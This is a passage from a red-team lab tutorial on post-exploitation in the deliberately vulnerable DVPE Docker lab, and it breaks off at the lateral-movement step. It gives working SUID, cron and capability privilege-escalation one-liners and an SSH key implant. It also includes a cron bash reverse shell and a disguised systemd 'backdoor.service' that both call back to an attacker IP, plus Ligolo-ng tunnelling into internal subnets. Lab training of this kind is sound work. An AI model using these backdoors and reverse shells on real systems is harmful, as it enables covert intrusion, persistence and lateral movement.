Post-Exploitation: Pivot Across Networks

Escalate privileges, plant persistence, and pivot across segmented networks.

Introduction

30 Second Summary

In real-world attacks, breaking into a system is only the first step. The real challenge is staying hidden, gaining more power, and moving deeper into a network without getting caught.

In this project, you will execute a complete post-exploitation attack chain across a segmented Docker network. You will escalate privileges, plant persistence backdoors, and pivot into hidden internal networks using professional red team tools.

What You'll Build

A complete post-exploitation workflow across a 10-container vulnerable lab, proving you can operate beyond initial compromise like a professional red teamer.

By the end of this project, you'll have:

  • A fully compromised multi-host Docker lab where you escalated from low-privilege user to root using LinPEAS-identified vectors.
  • Three distinct persistence mechanisms on a compromised host that survive shell disconnection.
  • A Ligolo-ng tunnel routing traffic from your Kali machine through compromised hosts into internal network segments that were previously invisible.
  • Secret Mission: Establish a double-pivot to reach a third network segment and catch a reverse shell through the full tunnel chain.

Are there any prerequisites?

This project assumes familiarity with the Linux command line, basic networking concepts (TCP/IP, ports, subnets), and penetration testing fundamentals at a Security+ or CPSA level. You should also have Kali Linux running on VirtualBox with at least 4 GB of RAM allocated to the VM.

Install Docker and Deploy the Vulnerable Lab

Every post-exploitation lab needs an isolated environment where you can break things without consequences. The Damn Vulnerable Pivoting Environment (DVPE) gives you 10 interconnected containers across segmented networks, purpose-built for practicing lateral movement.

To run DVPE, you need Docker and Docker Compose installed on your Kali machine. In this step, you will install both, clone the DVPE repository, build the lab, and identify your way in.

In this step, get ready to:
  • Install Docker and Docker Compose on Kali Linux.
  • Clone and build the 10-container DVPE lab.
  • Identify the entry-point container's IP address.
Install Docker and Docker Compose on Kali Linux

Kali's package repositories include Docker under the package name docker.io. This is different from the unrelated docker package, which is a system tray application.

  • Open a terminal on your Kali machine by pressing Cmd+Space (macOS) or the Windows key (Windows) to open your search bar, then type Terminal and press Enter.

Already inside Kali?

If you are working directly inside your Kali VM, right-click the desktop and select Open Terminal Here, or click the terminal icon in the top panel.

  • Update your package list and install Docker by running this command:
sudo apt update && sudo apt install -y docker.io

What does this command do?

sudo apt update refreshes the list of available packages from Kali's repositories. sudo apt install -y docker.io installs Docker Engine along with all its dependencies. The -y flag auto-confirms the installation prompt.

Docker Compose is bundled with the docker.io package on modern Kali, so you get both tools in one install.

  • Enable Docker to start now and on every boot by running:
sudo systemctl enable docker --now
  • Add your current user to the docker group so you can run Docker commands without sudo:
sudo usermod -aG docker $USER
  • Log out and log back in for the group change to take effect.
  • Open a fresh terminal after logging back in.
  • Verify Docker is installed by running:
docker --version
  • You should see a version number like Docker version 27.x.x or similar.
  • Verify Docker Compose is available by running:
docker compose version
  • You should see Docker Compose version v2.x.x in the output.

Getting permission denied or command not found?

If you see permission denied when running docker --version, you did not log out and back in after adding yourself to the docker group. Close your terminal, log out of Kali completely, then log back in.

If you see command not found, make sure you installed docker.io (not docker which is a different, unrelated package).

Help me troubleshoot Docker installation on Kali Linux

Clone the DVPE repository and build all containers

The Damn Vulnerable Pivoting Environment (DVPE) is an open-source Docker lab with 10 containers spread across multiple network segments. You will clone its repository and use Docker Compose to build everything in one command.

Why DVPE over other vulnerable labs?

DVPE is purpose-built for pivoting practice. Unlike labs such as PenTrix-VulnLab (which only has 4 services across 2 networks), DVPE offers more pivot hops and network segments to traverse. It deploys with a single docker compose command and is actively maintained.

  • Clone the DVPE repository into your home directory by running:
cd ~ && git clone https://github.com/franc205/dvpe.git
  • You should see git downloading the repository files into a new dvpe folder.
  • Move into the dvpe folder and build all 10 containers by running:
cd ~/dvpe && docker compose up -d --build

What does this command do?

docker compose up reads the docker-compose.yml file and creates all the containers, networks, and volumes it defines.

The -d flag runs containers in the background (detached mode) so your terminal stays free. The --build flag forces Docker to build images from scratch rather than using a cached version.

This build takes several minutes as Docker downloads base images and installs packages inside each container. Expect it to consume approximately 2-4 GB of disk space.

Allocate enough RAM

Your Kali VM should have at least 4 GB of RAM allocated in VirtualBox for comfortable operation with 10 containers running simultaneously. If you see containers crashing during build, increase your VM's memory allocation in VirtualBox settings.

Build failing or containers not starting?

If the build fails with network errors, check that your Kali VM has internet access by running ping 8.8.8.8.

If you see permission denied errors, confirm you logged out and back in after adding yourself to the docker group. You can verify with groups and checking that docker appears in the output.

Help me fix a Docker Compose build failure on Kali Linux

Verify the lab is running and identify the entry-point container

With all containers built, you need to confirm they are healthy and find the IP address of the container you will attack first.

  • Check that all 10 containers are running by running:
docker compose ps
  • You should see 10 containers listed, all with a status of Up.

✔️ I see 10 containers running

Your lab is healthy. Time to identify the entry point.

ⓧ Some containers show Exited or Restarting

  • Check the logs for the failing container by running:
docker compose logs <container-name>

Replace <container-name> with the name of the container that shows an unhealthy status. If a container is out of memory, increase your VM's RAM allocation and restart with docker compose restart.

Now you need to discover which Docker network connects your Kali machine to the lab's entry-point container. Docker creates isolated networks for DVPE, and only one of them is reachable from your host.

  • List all Docker networks to find the DVPE networks by running:
docker network ls
  • You should see several networks with names prefixed by dvpe_ or similar identifiers.
  • Inspect the external-facing DVPE network to find the entry-point container's IP by running:
docker network inspect $(docker network ls --filter name=dvpe -q | head -1)

What does this command do?

This command filters Docker networks for ones matching "dvpe", takes the first result, and shows you detailed info about it. Look for the Containers section in the output. Each container shows its IPv4Address field.

You may need to inspect multiple networks to find the one that contains the entry-point container. The entry point is the container on the network segment closest to your Kali host.

  • Note down the IP address of the entry-point container.
  • Confirm you can reach it from your Kali machine by running a quick ping:
ping -c 3 [[ENTRY_IP="entry-point container IP"]]
  • You should see three successful replies confirming network connectivity.

Ping not getting replies?

Some containers may not respond to ICMP ping. If ping times out, try reaching the container with nmap instead (you will do a full scan in the next step). As long as docker compose ps shows all containers running, you are ready to proceed.

Help me verify network connectivity to my DVPE containers

Your 10-container lab is live and you have a target IP. Next up, you will scan that entry point, exploit your way in, and start hunting for privilege escalation vectors with LinPEAS.

Gain Initial Access and Enumerate for Privilege Escalation

Your lab is running and you know the entry-point container's IP address. The next challenge is getting inside that container and figuring out how to become root.

In a real engagement, attackers start by scanning their target for exposed services, exploit a weakness to gain initial access, then immediately look for ways to escalate privileges. You will follow this exact workflow using nmap for reconnaissance and LinPEAS for automated privilege escalation enumeration.

In this step, get ready to:
  • Scan the entry-point container and exploit its initial vulnerability for a low-privilege shell.
  • Transfer LinPEAS to the compromised container and run it to audit for privilege escalation paths.
  • Interpret the LinPEAS output to identify the highest-value escalation vector.
Scan the entry-point container and gain initial access

Before you can exploit anything, you need to know what services are running on the target. An nmap scan reveals open ports and the software behind them.

  • Run a service-version scan against the entry-point container IP you identified in Step 1:
nmap -sV [[TARGET_IP="entry-point container IP from Step 1"]]

What does this command do?

The -sV flag tells nmap to probe each open port and identify the service name and version running behind it. This gives you the information you need to research known vulnerabilities for those specific services.

  • Review the scan output. Note which ports are open and what services are running on them.
  • Research the identified services for known default credentials or public exploits. The DVPE lab is intentionally vulnerable, so you should find a straightforward way in.
  • Exploit the vulnerability you found to gain a shell on the container.

What kind of vulnerability should I look for?

The DVPE entry-point is designed to be exploitable through common techniques that Security+ and CPSA holders would recognize. Look for weak credentials, exposed management interfaces, or command injection vectors in the services your scan revealed.

The DVPE project includes a walkthrough on Notion (linked in the repository README) if you get stuck. The goal here is to practice the enumeration methodology, not memorize a specific exploit.

  • Confirm you have a working shell by running whoami and id on the target.
whoami
id

You should see a non-root username. This confirms you have a low-privilege shell on the entry-point container.

Can't find a way in?

Make sure you ran nmap -sV (with the version flag) so you can see exact service names and versions. A basic scan without -sV only shows port numbers and won't help you identify exploitable software.

If you are stuck, check the DVPE English Walkthrough linked in the repository's README.md file. It includes guided "Pauses" designed to help you progress without revealing everything.

Help me exploit the open service I found on the DVPE entry-point container.

Transfer LinPEAS and run the privilege escalation audit

You have a low-privilege shell, but root is the goal. Rather than manually checking dozens of potential escalation paths, you will use LinPEAS to automate the enumeration. LinPEAS checks SUID binaries, writable cron jobs, misconfigured capabilities, kernel vulnerabilities, and much more in a single run.

  • Open a new terminal tab on your Kali machine (keep your shell session in the other tab).
  • Download LinPEAS to your home directory by running:
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh -o ~/linpeas.sh

What does this command do?

This downloads the latest release of linpeas.sh from the PEASS-ng GitHub repository and saves it to your home directory. The -L flag tells curl to follow any redirects (GitHub uses these for release downloads).

  • Serve the file from your Kali machine using a Python HTTP server. Run this from the directory containing linpeas.sh:
cd ~ && python3 -m http.server 8000

What does this command do?

This starts a temporary web server on port 8000 that serves files from your home directory. The compromised container can then download linpeas.sh from your Kali machine's IP address.

  • Switch back to your shell session on the compromised container.
  • Download LinPEAS from your Kali machine to the container's /tmp directory. Replace the IP with your Kali machine's IP address:
curl http://[[KALI_IP="your Kali machine IP address"]]:8000/linpeas.sh -o /tmp/linpeas.sh
  • Make the script executable and run it, saving the output for later review:
chmod +x /tmp/linpeas.sh
/tmp/linpeas.sh | tee /tmp/linpeas_output.txt

What does this command do?

The chmod +x command makes the script executable. Piping the output through tee displays the results on screen in real time AND saves them to a file. This is critical because LinPEAS produces a lot of output and you will want to scroll back through it later.

LinPEAS takes 1-3 minutes to run. Let it finish completely before analyzing the results.

Connection refused when downloading LinPEAS?

Make sure your Python HTTP server is still running in the other terminal tab. If you accidentally closed it, restart it with cd ~ && python3 -m http.server 8000.

Verify you are using your Kali machine's IP address (not 127.0.0.1 or localhost). Run ip addr on your Kali machine to confirm its address on the Docker network.

Help me transfer LinPEAS to my compromised container.

Interpret LinPEAS output to identify your escalation vector

LinPEAS produces hundreds of lines of color-coded output. Knowing how to read the colors is the key to quickly finding what matters.

What do the LinPEAS colors mean?

  • Red/Light Red (bold): 95% chance this is a privilege escalation vector. Investigate these first.
  • Yellow: Possible escalation path that requires further validation.
  • Green: Informational. Useful context but not directly exploitable.
  • Blue: General system information.

Focus on the red findings first. These are the vectors LinPEAS is most confident about.

  • Scroll through the LinPEAS output (or open /tmp/linpeas_output.txt) and look for red-highlighted findings.
  • Search the output for specific high-value sections by running:
grep -i "suid" /tmp/linpeas_output.txt
grep -i "cron" /tmp/linpeas_output.txt
grep -i "capabilities" /tmp/linpeas_output.txt

What are these escalation vectors?

  • SUID binaries: Executables that run with the file owner's permissions (usually root) regardless of who runs them. A misconfigured SUID binary lets you execute commands as root.
  • Writable cron jobs: Scheduled tasks that run as root. If you can edit the script a cron job executes, your code runs as root on the next tick.
  • Misconfigured capabilities: Linux capabilities grant specific root-level powers to individual binaries. A binary with cap_setuid can change its own user ID to root.
  • Identify which vector LinPEAS highlighted in red for your target. Make a note of the specific binary name, cron job path, or capability. You will use this in the next step to escalate to root.

Use GTFOBins for SUID exploitation

If LinPEAS flags a SUID binary, search for it on GTFOBins. This site documents how to abuse common Unix binaries for privilege escalation, file reads, and shell escapes.

LinPEAS output is too noisy?

If you see too many yellow and green results, filter for only the most critical findings. The grep commands above target the three most common escalation vectors in CTF-style labs.

You can also re-run LinPEAS with specific checks only:

/tmp/linpeas.sh -o procs_crons_timers_srvcs_sockets,interesting_files

Help me understand the LinPEAS output and find the best privilege escalation vector.

You now have a clear escalation path identified. Next up, you will exploit that vector to become root and plant persistence mechanisms that keep you connected even if your current shell dies.

Escalate to Root and Establish Persistence

In the previous step, you identified the most promising privilege escalation vector on the compromised container using LinPEAS. You know what to exploit. Now it is time to actually exploit it.

Gaining root is only half the battle. Real-world attackers assume they will lose their initial shell at some point. This step teaches you how to guarantee re-entry by planting three distinct persistence mechanisms that survive reboots and shell disconnections.

In this step, get ready to:
  • Exploit the identified privilege escalation vector to gain a root shell.
  • Implant an SSH public key for password-free root access.
  • Create a cron-based reverse shell and a systemd service backdoor for persistent callbacks.
Exploit the privilege escalation vector to gain root

The exact exploit depends on what LinPEAS flagged in your output. The most common vectors in vulnerable lab environments are SUID binaries, writable cron jobs, and misconfigured capabilities.

Your job is to match what LinPEAS highlighted (the red/yellow items) against a known exploitation technique. GTFOBins is the definitive reference for this.

  • Review your LinPEAS output file to confirm the highest-priority vector by running:
cat /tmp/linpeas_output.txt | grep -A 5 '99%'

What does this command do?

LinPEAS marks its highest-confidence findings with 99% in the output. Grepping for this string surfaces the vectors LinPEAS considers almost certainly exploitable.

Once you have identified the vulnerable binary or misconfiguration, use the appropriate exploitation technique. Below are the three most common scenarios you will encounter.

SUID binary

If LinPEAS flagged a SUID binary (highlighted red), that binary runs with root privileges regardless of who calls it. You can abuse it to spawn a root shell.

  • Confirm the SUID binary exists and has the SUID bit set by running:
# List all SUID binaries on the system
find / -perm -4000 -type f 2>/dev/null
  • Look up the binary on GTFOBins (https://gtfobins.github.io/) and use its documented SUID technique.
  • For example, if find has the SUID bit, exploit it by running:
# Spawn a privileged shell via SUID find
find . -exec /bin/sh -p \; -quit

Other common SUID exploitation patterns:

  • SUID python: python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
  • SUID vim: vim -c ':!/bin/sh -p'
  • SUID bash: /bin/bash -p

Writable cron job

If LinPEAS found a cron job running as root that points to a script you can write to, you can inject a command that gives you a root shell.

  • Identify the writable script path from your LinPEAS output.
  • Overwrite or append a SUID payload to the script by running:
# Make bash SUID so you can spawn a root shell anytime
echo 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' >> /path/to/writable-script.sh
  • Wait for the cron job to execute (check the schedule in /etc/crontab or crontab -l).
  • Once the job runs, spawn a root shell with:
# Execute the SUID bash copy with preserved privileges
/tmp/rootbash -p

Misconfigured capability

If LinPEAS found a binary with dangerous capabilities (like cap_setuid), the binary can change its effective user ID to root.

  • List binaries with capabilities by running:
# Find all binaries with Linux capabilities
getcap -r / 2>/dev/null
  • If python has cap_setuid+ep, escalate by running:
# Use Python's capability to set UID to 0 (root)
python -c 'import os; os.setuid(0); os.system("/bin/bash")'
  • After exploiting your vector, confirm you have root by running:
# Verify you are now root
id

You should see uid=0(root) in the output. This confirms full root access on the entry-point container.

Still seeing your original low-privilege UID?

Double-check that you are using the exact binary path LinPEAS flagged. The technique must match the privilege context (SUID, capability, or writable cron).

If the binary requires the -p flag (like /bin/sh -p or /bin/bash -p), make sure you include it. Without -p, the shell drops SUID privileges on some distributions.

help me escalate privileges using the SUID binary LinPEAS found

Implant an SSH key for persistent root access

Your root shell could disappear if the container restarts or you accidentally close the terminal. SSH key persistence solves this by letting you log back in as root anytime without needing a password.

  • First, check if you already have an SSH keypair on your Kali machine. Open a new terminal on Kali (not the container shell) and run:
# Check for existing SSH keys
ls ~/.ssh/id_rsa.pub

✔️ I see the file listed

Your keypair already exists. Continue to the next instruction.

ⓧ No such file or directory

  • Generate a new SSH keypair by running:
# Generate an RSA keypair with no passphrase
ssh-keygen -t rsa -b 4096 -f ~/.ssh/id_rsa -N ''

This creates ~/.ssh/id_rsa (private key) and ~/.ssh/id_rsa.pub (public key).

  • Copy your public key content to the clipboard by running on Kali:
# Display your public key
cat ~/.ssh/id_rsa.pub
  • Select and copy the entire output line (starts with ssh-rsa).
  • Switch back to your root shell on the container and create the SSH directory and authorized_keys file by running:
# Create .ssh directory for root if it doesn't exist
mkdir -p /root/.ssh

# Set correct permissions
chmod 700 /root/.ssh
  • Write your public key into the authorized_keys file. Replace the key content below with your actual public key:
# Implant your SSH public key for persistent root access
echo 'ssh-rsa your-public-key-content-here' >> /root/.ssh/authorized_keys

# Lock down permissions (SSH requires this)
chmod 600 /root/.ssh/authorized_keys

Why chmod 600?

SSH refuses to use an authorized_keys file if other users can read it. The 600 permission means only root can read or write the file. Without this, SSH silently ignores the key and denies login.

  • Verify the persistence works by SSH-ing into the container from Kali. You need the container's IP address (from Step 1). Run on Kali:
# Test SSH key persistence - should log in without a password
ssh root@[[ENTRY_CONTAINER_IP="entry-point container IP address"]]

You should land in a root shell immediately with no password prompt. This confirms persistence mechanism 1 is working.

SSH still asking for a password?

Make sure the SSH service is running on the container. Some containers do not start sshd by default. Check with service ssh status and start it with service ssh start if needed.

Also verify the key was written correctly. Run cat /root/.ssh/authorized_keys on the container and confirm it contains your full public key on a single line.

help me debug SSH key-based authentication not working on a Docker container

Create a cron reverse shell and a systemd backdoor

SSH keys are great for interactive access, but what if SSH gets disabled? A red teamer layers multiple persistence mechanisms so that losing one does not mean losing all access.

You will now create two callback-based backdoors. The cron job calls home on a recurring schedule. The systemd service fires on boot. Together with the SSH key, you have three independent ways back in.

  • First, determine your Kali machine's IP address. Open a new terminal on Kali and run:
# Find your Kali IP on the Docker bridge network
ip addr show | grep 'inet ' | grep -v '127.0.0.1'

Which IP to use?

Look for the IP address on the same subnet as your Docker containers. This is typically on the docker0 or br- interface. The reverse shells need to reach your Kali machine, so use an IP the containers can route to.

Now set up persistence mechanism 2: a cron reverse shell.

  • In your root shell on the container, add a cron job that sends a reverse shell to your Kali IP every minute by running:
# Add a cron job that calls back every minute
(crontab -l 2>/dev/null; echo '* * * * * /bin/bash -c "bash -i >& /dev/tcp/[[KALI_IP="your Kali IP address"]]/4444 0>&1"') | crontab -

What does this command do?

The crontab -l portion preserves any existing cron jobs. The echo appends a new entry that runs every minute (* * * * *).

The payload is a standard bash reverse shell. It opens a TCP connection back to your Kali machine on port 4444 and redirects stdin/stdout/stderr through it. Every minute, if your listener is running, you get a fresh root shell.

  • Verify the cron job was added by running:
# Confirm the cron entry exists
crontab -l

You should see your reverse shell line at the bottom of the output.

  • Test it by starting a listener on Kali. Open a new terminal on Kali and run:
# Listen for the cron callback on port 4444
nc -lvnp 4444

Wait up to 60 seconds. You should receive a root shell connection from the container. This confirms persistence mechanism 2 is working.

No callback after 60 seconds?

Verify cron is running on the container with service cron status. Start it with service cron start if needed.

Also confirm your Kali IP is reachable from inside the container. Run ping -c 1 followed by your Kali IP from the container shell.

help me debug why my cron reverse shell is not calling back

Now set up persistence mechanism 3: a systemd service backdoor.

  • Create the systemd service file on the compromised container by running:
# Create a systemd backdoor service that fires a reverse shell on boot
cat > /etc/systemd/system/backdoor.service << EOF
[Unit]
Description=System Logging Service
After=network.target

[Service]
Type=simple
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/[[KALI_IP="your Kali IP address"]]/4445 0>&1'
Restart=on-failure
RestartSec=30

[Install]
WantedBy=multi-user.target
EOF

What does this service file do?

The [Unit] section gives the service an innocent-looking name and waits for the network to be up. The [Service] section runs the reverse shell payload. Restart=on-failure means systemd will restart the shell if it drops.

The [Install] section with WantedBy=multi-user.target ensures the service starts automatically on every boot. Port 4445 is used here (not 4444) so it does not conflict with the cron callback.

  • Reload systemd and enable the backdoor service by running:
# Reload systemd to pick up the new service file
systemctl daemon-reload

# Enable the service to start on boot
systemctl enable backdoor.service
  • Verify the service is enabled by running:
# Confirm the service is set to start on boot
systemctl is-enabled backdoor.service

You should see enabled in the output. This means the reverse shell will execute automatically whenever the container boots.

  • Test it by starting a listener on port 4445 on Kali and manually starting the service:
# On Kali (new terminal) - listen for the systemd callback
nc -lvnp 4445
# On the container - manually trigger the service to test
systemctl start backdoor.service

Your Kali listener should receive a root shell connection. This confirms persistence mechanism 3 is working.

Service fails to start?

Run systemctl status backdoor.service to see the error message. The most common issue is a typo in the ExecStart line (especially the redirect syntax >&).

If systemd is not available in the container, use an alternative. Write a script to /etc/init.d/ or add the reverse shell command to /root/.bashrc as a fallback.

help me troubleshoot my systemd backdoor service

How do these map to real-world attacks?

All three persistence techniques map to the MITRE ATT&CK Persistence tactic (TA0003). SSH keys are T1098.004 (Account Manipulation: SSH Authorized Keys). Cron jobs are T1053.003 (Scheduled Task/Job: Cron). Systemd services are T1543.002 (Create or Modify System Process: Systemd Service).

Professional red teams layer multiple mechanisms because defenders may detect and remove one. Having three independent paths back in means you maintain access even under active remediation.

✔️ All three mechanisms are working

Excellent. You now have root access via three independent persistence paths: SSH key login, cron-based reverse shell on port 4444, and systemd service on port 4445.

ⓧ I'd like to double check my persistence

Run these commands on the container to verify all three mechanisms are in place:

# Check persistence mechanism 1 - SSH key
echo "=== SSH Key ==="
cat /root/.ssh/authorized_keys

# Check persistence mechanism 2 - Cron job
echo "=== Cron Job ==="
crontab -l

# Check persistence mechanism 3 - Systemd service
echo "=== Systemd Backdoor ==="
systemctl is-enabled backdoor.service
cat /etc/systemd/system/backdoor.service

You should see your SSH public key, the cron entry with the reverse shell command, and the backdoor service file content with enabled status.

You now own the entry-point container with guaranteed re-entry. Next up, you will use this foothold to pivot into network segments that your Kali machine cannot directly reach.

Pivot into the Internal Network with Ligolo-ng

You have root access and three persistence mechanisms on the entry-point container. Your foothold is solid. The next challenge is reaching hosts on network segments that your Kali machine cannot see directly.

The DVPE lab places containers on separate internal subnets. Your Kali machine only connects to the entry-point network. To reach the internal hosts, you need to tunnel traffic through the compromised container using Ligolo-ng, a pivoting tool that creates a TUN interface on your attacker machine so your tools (nmap, curl, ssh) work natively without proxychains.

In this step, get ready to:
  • Download and configure Ligolo-ng proxy and agent on your Kali machine.
  • Transfer the agent to the compromised container and establish the tunnel connection.
  • Route traffic through the tunnel and confirm access to previously-invisible internal hosts.
Download Ligolo-ng and set up the TUN interface

Ligolo-ng has two components. The proxy runs on your attacker machine and manages tunnel sessions. The agent runs on the compromised host and connects back to the proxy.

  • Create a directory for Ligolo-ng and download both binaries by running these commands:
mkdir -p ~/ligolo-ng && cd ~/ligolo-ng
# Download the proxy binary (runs on Kali)
wget https://github.com/nicocha30/ligolo-ng/releases/download/v0.8.3/ligolo-ng_proxy_0.8.3_linux_amd64.tar.gz
# Download the agent binary (will be transferred to the target)
wget https://github.com/nicocha30/ligolo-ng/releases/download/v0.8.3/ligolo-ng_agent_0.8.3_linux_amd64.tar.gz

What do these commands do?

You download the v0.8.3 release of both binaries from GitHub. The proxy is approximately 7.7 MB and the agent is approximately 2.9 MB.

  • Extract both archives and make the binaries executable by running:
# Extract proxy
tar -xzf ligolo-ng_proxy_0.8.3_linux_amd64.tar.gz
mv proxy ~/ligolo-ng/proxy
# Extract agent
tar -xzf ligolo-ng_agent_0.8.3_linux_amd64.tar.gz
mv agent ~/ligolo-ng/agent
# Make both executable
chmod +x ~/ligolo-ng/proxy ~/ligolo-ng/agent
  • Confirm both binaries exist by running:
ls ~/ligolo-ng/

You should see proxy and agent listed in the output.

Now you need a TUN interface on Kali. This virtual network interface is what makes Ligolo-ng special. Instead of routing traffic through a SOCKS proxy, Ligolo-ng sends packets through a real network interface so your tools work as if you were directly on the internal network.

  • Create the TUN interface and bring it up by running:
# Create a TUN interface named 'ligolo' owned by your user
sudo ip tuntap add user kali mode tun ligolo
# Activate the interface
sudo ip link set ligolo up

What is a TUN interface?

A TUN interface is a virtual network device that operates at Layer 3 (IP packets). When you add a route pointing at this interface, your operating system sends those packets into the Ligolo-ng tunnel instead of out a physical network card.

This means nmap, ssh, and any other tool works natively. No proxychains configuration needed.

  • Verify the interface exists by running:
ip a show ligolo

You should see the ligolo interface listed with state UP.

Interface not showing up?

Make sure you ran the commands with sudo. Creating TUN interfaces requires root privileges. If you see Operation not permitted, confirm you typed sudo before ip tuntap.

help me troubleshoot my TUN interface creation on Kali Linux

Now start the Ligolo-ng proxy. This listens for incoming agent connections.

  • Open a new terminal tab and start the proxy by running:
cd ~/ligolo-ng
# Start the proxy with a self-signed certificate, listening on all interfaces
./proxy -selfcert -laddr 0.0.0.0:11601

What does this command do?

The -selfcert flag generates a self-signed TLS certificate for the tunnel. The -laddr 0.0.0.0:11601 flag tells the proxy to listen on all network interfaces on port 11601 (Ligolo-ng's default port).

You should see output indicating the proxy is listening, similar to WARN certificate is self-signed followed by INFO Listening on 0.0.0.0:11601.

Keep the proxy running

The proxy needs to stay running in this terminal. All subsequent commands on Kali happen in a separate terminal tab or window. You will come back to this proxy terminal later to manage sessions and start the tunnel.

Why Ligolo-ng instead of Chisel?

Chisel is a popular tunneling tool, but it creates SOCKS proxies. Every tool you use needs proxychains wrapping, and scans are dramatically slower. In benchmarks, an nmap scan through Ligolo-ng takes about 62 seconds compared to 23 minutes through Chisel.

Ligolo-ng's TUN-based approach means your tools send packets natively. No proxychains, no wrapper scripts, no performance penalty.

Transfer the agent and connect it to your proxy

The agent binary needs to reach the compromised container. Since you have root on the entry-point container, you can serve the file over HTTP from Kali and pull it down with a standard tool.

  • In a new terminal tab on Kali, start a Python HTTP server in the Ligolo-ng directory by running:
cd ~/ligolo-ng
# Serve files from this directory on port 8000
python3 -m http.server 8000
  • In your root shell on the entry-point container, download the agent binary by running:
# Download the agent from your Kali machine
wget http://[[KALI_IP="your Kali IP address"]]:8000/agent -O /tmp/agent
# Make it executable
chmod +x /tmp/agent

How do I find my Kali IP?

Run ip a show eth0 on Kali (in yet another terminal) and look for the inet address. This is the IP the container uses to reach your machine over the Docker bridge network.

  • On the entry-point container, launch the agent and connect it back to your proxy by running:
# Connect the agent back to your Kali proxy
/tmp/agent -connect [[KALI_IP="your Kali IP address"]]:11601 -ignore-cert

What does -ignore-cert do?

Since you used -selfcert on the proxy, the certificate is self-signed. The -ignore-cert flag tells the agent to skip certificate validation. This is acceptable in a lab environment.

The agent does not require root privileges on the target host. It works as any user. You happen to have root here, but this is not a requirement for Ligolo-ng.

Switch to your Ligolo-ng proxy terminal. You should see a message indicating a new agent has connected, showing the container hostname.

  • In the proxy console, select the agent session by typing:
session

The proxy will list available sessions. Select the one corresponding to your entry-point container (typically session 1).

  • View the network interfaces on the pivot host by typing:
ifconfig

This displays all network interfaces on the compromised container. Look for an interface (such as eth1) with an IP address on a different subnet than the one your Kali connects to. This is the internal network you will pivot into.

What am I looking for?

The ifconfig output shows each network interface with its IP and subnet. You will see at least two interfaces beyond loopback. One connects to Kali (external). The other connects to the internal DVPE network segment (your target).

Note the internal subnet. It will look something like 10.x.x.0/24 or 172.x.x.0/24. You need this for the next step.

Agent not connecting?

Verify that your proxy terminal still shows Listening on 0.0.0.0:11601. If the proxy crashed, restart it with ./proxy -selfcert -laddr 0.0.0.0:11601.

Confirm the container can reach your Kali IP. From the container shell, run ping -c 1 followed by your Kali IP. If it fails, check that both are on the same Docker network.

help me debug why my Ligolo-ng agent cannot connect to the proxy

Add a route and confirm access to internal hosts

Your Kali machine does not know how to reach the internal subnet yet. You need to add a route that tells your operating system to send packets destined for that subnet through the Ligolo TUN interface.

  • In a Kali terminal (not the proxy console), add a route for the internal subnet by running:
# Replace the subnet with the one you discovered from ifconfig
sudo ip route add [[INTERNAL_SUBNET="internal subnet, e.g. 10.10.10.0/24"]] dev ligolo

What does this route do?

This tells your Kali kernel: any packet destined for the internal subnet should be sent out through the ligolo TUN interface. Ligolo-ng picks up those packets and forwards them through the tunnel to the agent, which delivers them on the internal network.

  • Back in the Ligolo-ng proxy console, start the tunnel by typing:
start

You should see output confirming the tunnel has started, such as INFO Starting tunnel to <hostname>.

Now test that you can actually reach the internal network from Kali.

  • In a Kali terminal, scan the internal subnet with nmap by running:
# Quick host discovery on the internal subnet
nmap -sn [[INTERNAL_SUBNET="internal subnet, e.g. 10.10.10.0/24"]]

What should I see?

The -sn flag does a ping sweep (host discovery only, no port scan). You should see multiple hosts reported as Host is up. These are DVPE containers on the internal segment that were previously invisible to your Kali machine.

If you see live hosts, your pivot is working. Traffic is flowing from Kali, through the TUN interface, through the Ligolo-ng tunnel, out of the agent on the entry-point container, and reaching the internal network.

No hosts found in the scan?

Verify the route is active by running ip route on Kali. You should see a line showing your internal subnet pointing at dev ligolo.

Confirm the tunnel is running in the proxy console. If you see no Starting tunnel message, type start again.

Double-check that the subnet in your route matches exactly what ifconfig showed on the pivot host. A typo in the subnet address means packets go nowhere.

help me troubleshoot why nmap cannot find hosts through my Ligolo-ng tunnel

Your pivot is live. You now have direct network access to an internal segment that was completely invisible from your Kali machine moments ago. Next up, you will exploit one of these internal hosts through the tunnel to prove full lateral movement across the network boundary.

Compromise a Second Host via the Pivot

In the previous step, you built a tunnel from your Kali machine through the entry-point container into the internal network.

Now you will use that tunnel to move laterally across the network boundary. The goal is to compromise a second host that was completely invisible from your Kali machine before the pivot.

Because Ligolo-ng operates at the TUN interface level, every tool on your Kali machine works natively against the internal subnet. No proxychains, no SOCKS configuration, no special wrappers.

In this step, get ready to:
  • Scan the internal network to discover live hosts and open services.
  • Exploit a second target through the Ligolo-ng tunnel to gain a shell.
  • Run LinPEAS on the second host and escalate to root.
Scan the internal subnet for live hosts and services

Your Ligolo-ng tunnel is already routing traffic to the internal subnet. A thorough nmap scan will reveal exactly which hosts are alive and what services they expose.

  • Run a service version scan against the internal subnet through the tunnel by running this command on your Kali terminal:
nmap -sV [[INTERNAL_SUBNET="the internal subnet you routed, e.g. 10.10.10.0/24"]]

What does this command do?

The -sV flag tells nmap to probe open ports and determine the service name and version running on each one.

This traffic flows through your TUN interface, into the Ligolo-ng tunnel, out through the agent on the entry-point container, and into the internal network. From nmap's perspective, the internal hosts appear to be directly reachable.

The scan may take 1-2 minutes depending on the subnet size. You should see multiple hosts with open ports and identified services (SSH, HTTP, FTP, or others).

  • Review the nmap output and identify your next target.
  • Look for hosts running services you can exploit (common examples: vulnerable web applications, anonymous FTP, weak SSH credentials, or exposed databases).
  • Note the target's IP address and the service you plan to exploit.

Picking your target

Choose a host with a service you recognize and know how to attack. Web servers (port 80/443), SSH (port 22), and FTP (port 21) are common starting points.

If a service version appears in the nmap output, research it for known vulnerabilities.

Scan returning no results?

Confirm your Ligolo-ng tunnel is still active by checking the proxy CLI for an active session. If the session disconnected, re-run the agent on the entry-point container.

Verify the route is still in place by running ip route and checking for the internal subnet pointing at the ligolo interface.

Help me troubleshoot why nmap can't reach the internal subnet through my Ligolo-ng tunnel.

Exploit the second target through the tunnel

With a target identified, you will exploit it directly from your Kali machine. Every tool in your Kali arsenal works as if the internal host were on your local network.

Why no proxychains?

Traditional pivoting tools like Chisel use SOCKS proxies that require wrapping every command in proxychains. This breaks some tools and adds significant overhead (an nmap scan takes 23 minutes through Chisel vs 62 seconds through Ligolo-ng).

